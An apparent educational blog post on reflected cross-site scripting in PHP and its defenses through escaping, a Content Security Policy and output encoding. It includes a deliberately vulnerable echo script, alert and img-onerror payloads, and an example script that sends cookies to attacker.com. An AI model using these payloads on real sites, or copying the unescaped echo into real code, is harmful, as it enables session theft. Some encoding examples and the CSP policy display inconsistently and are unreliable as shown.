Dissecting Cross-Site Scripting (Reflected)
In the dynamic landscape of web security, cyber threats continually evolve, exposing vulnerabilities that can have severe consequences for both users and website owners. One such threat is Reflected Cross-Site Scripting (XSS), a type of attack that exploits the trust between a user and a website. In this blog, we'll delve into what Reflected XSS is, how it works, and most importantly, how you can defend against it.
Understanding Reflected XSS:

Cross-Site Scripting, or XSS, is a class of vulnerabilities that allows attackers to inject malicious scripts into web pages viewed by other users. Reflected XSS, in particular, involves the attacker tricking a victim into clicking on a specially crafted link that contains malicious code. This code then gets executed within the victim's browser, but it's important to note that it's not stored on the target website's server. The name "reflected" arises because the malicious script is reflected off a web application, manipulating the data returned to the user's browser.
How Reflected XSS Works:
- Injection Point: Attackers identify a point within a web application where user input is not properly sanitized or validated. This could be in the form of URLs, form inputs, or query parameters.
- Crafting Malicious Payload: The attacker creates a malicious payload containing JavaScript code. This code can vary in its intent, ranging from stealing user credentials to redirecting users to malicious websites.
- Script Execution: When the victim clicks the crafted link, the browser sends a request to the vulnerable web application, which processes the malicious payload and incorporates it into the response. The victim's browser then executes the script as part of the webpage, unknowingly carrying out the attacker's instructions.
- Impact: Depending on the attacker's payload, the consequences can be severe. They might include stealing sensitive data, performing actions on behalf of the victim, or even distributing the malicious link further.
Example of Reflected XSS Attack in PHP:
Imagine a vulnerable PHP script that echoes user input directly into an HTML response:
<!-- Vulnerable PHP script -->
<?php
if (isset($_GET['search'])) {
$query = $_GET['search'];
echo "Search results for: " . $query;
}
?>An attacker can craft a malicious URL like this:
http://example.com/vulnerable.php?search=<script>alert('XSS Attack');</script>When a user visits this URL, the script will be executed in their browser, triggering the alert.
Defending Against Reflected XSS in PHP:
To defend against Reflected XSS in PHP, you should follow best practices for input validation, output encoding, and security mechanisms:
Input Validation and Sanitization:
Validate and sanitize user input before using it in the output:
<?php
if (isset($_GET['search'])) {
$query = $_GET['search'];
// Sanitize user input using htmlspecialchars
$safeQuery = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $safeQuery;
}
?>
This PHP code is an example of basic search functionality that takes a user's input from the URL parameter search, sanitizes it using the htmlspecialchars function to prevent cross-site scripting (XSS) attacks, and then displays the sanitized input as a search result message.
Here's a breakdown of how the code works:
- The code first checks if the
$_GET['search']parameter is set in the URL. This parameter is typically set when a user submits a search query through a form with the GET method. - If the
searchparameter is set, the code retrieves its value and assigns it to the$queryvariable. - The code then uses the
htmlspecialcharsfunction to sanitize the user input stored in the$queryvariable. The function converts special characters to their corresponding HTML entities, preventing them from being interpreted as code or causing any harm. This helps to mitigate potential XSS attacks. - The sanitized input is stored in the
$safeQueryvariable. - Finally, the code echoes a search result message that includes the sanitized input, indicating what the user searched for.
Here are a few examples of how this code would work with different inputs:
- Input:
Hello- URL:
example.com/search.php?search=Hello - Output:
Search results for: Hello
- URL:
- Input:
<script>alert("XSS attack");</script>- URL:
example.com/search.php?search=%3Cscript%3Ealert(%22XSS%20attack%22);%3C/script%3E - Output:
Search results for: <script>alert("XSS attack");</script>
- URL:
- Input:
"><img src=x onerror=alert('XSS');>- URL:
example.com/search.php?search=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert('XSS');%3E - Output:
Search results for: "><img src=x onerror=alert('XSS');>
- URL:
In the second and third examples, the htmlspecialchars the function converts characters like <, >, and " into their corresponding HTML entities, making it safe to display the input without executing any malicious scripts. This prevents potential XSS attacks by ensuring that the input is treated as plain text rather than interpreted as HTML or JavaScript code.
Content Security Policy (CSP):
Implement a Content Security Policy header to restrict script execution from unauthorized sources:
<?php
header("Content-Security-Policy: script-src 'self'");
?>
Let's consider a scenario where a malicious attacker tries to inject a script into a vulnerable webpage to steal user data.
Setting Up CSP: The website administrator configures CSP by adding a Content-Security-Policy HTTP header to the web server's response. This header specifies the security policies for the webpage. For this example, let's assume the following CSP policy is set:
Vulnerable Webpage: The attacker identifies a vulnerable webpage where user-generated content isn't properly sanitized before being displayed. This could be a comment section, a search box, or any other input field that doesn't adequately handle special characters.
Attacker's Payload: The attacker crafts a malicious payload to exploit the vulnerability. The payload is designed to execute a script that steals user cookies and sends them to an external server controlled by the attacker:
<script>
var img = new Image();
img.src = 'https://attacker.com/steal.php?cookie=' + document.cookie;
</script>
Injection Attempt: The attacker submits the crafted payload through the vulnerable input field on the target webpage. If the website doesn't have CSP in place, the payload will be executed, and the attacker's script will run in the user's browser, sending their cookies to the attacker's server.
- CSP Protection: With the CSP policy in place, the injected script won't execute as expected. Here's why:The
script-srcdirective in the CSP policy specifies that scripts can only be loaded from the same domain ('self') and fromhttps://trusted-scripts.com.The attacker's payload is an inline script, and it's not coming from'self'or the trusted script source.As a result, the browser adheres to the CSP policy and refuses to execute the attacker's script. - Blocked Script: When the user visits the webpage containing the attacker's payload, the browser detects that the script violates the CSP policy. Depending on the browser and configuration, the browser might take different actions:The script could be blocked from executing entirely.The browser might log a CSP violation report and send it to a reporting endpoint specified in the policy.An alert might be displayed to the user, notifying them that the script was blocked due to the CSP policy.
Output Encoding:
Encode dynamic content before rendering it in the HTML:
<?php
if (isset($_GET['search'])) {
$query = $_GET['search'];
// Encode user input using htmlspecialchars
$safeQuery = htmlspecialchars($query, ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $safeQuery;
}
?>
Output encoding, also known as output escaping, is a technique used to prevent cross-site scripting (XSS) attacks by encoding or escaping user-generated content before it is displayed on a webpage. This prevents any potentially malicious scripts from being executed by the browser. Here's a step-by-step explanation of how output encoding works to block XSS attacks:
Let's assume we have a vulnerable webpage with a comment section where users can submit comments.
User Input Submission: A user submits a comment that includes malicious script code:
<script>alert('XSS attack');</script>Without Output Encoding: Without output encoding, the vulnerable webpage directly outputs the user's comment without any modification. As a result, the malicious script is rendered and executed by the browser, causing an alert to pop up with the message 'XSS attack'.
- Using Output Encoding: With output encoding, the webpage processes the user's comment before displaying it. The goal is to convert any potentially dangerous characters into their encoded equivalents, so they are treated as plain text by the browser and not as executable code. Common characters that are encoded include:
<is encoded as<>is encoded as>"is encoded as"'is encoded as'
Encoded Output: When the user's comment is displayed on the webpage after output encoding, it looks like this:
<script>alert('XSS attack');</script>Because the characters have been encoded, the browser doesn't interpret them as HTML or JavaScript code. The browser simply displays the encoded text as is.
Preventing Script Execution: Since the browser treats the encoded text as plain text, the malicious script is not executed. The <script> and </script> tags are displayed as text, and the alert the function is not invoked.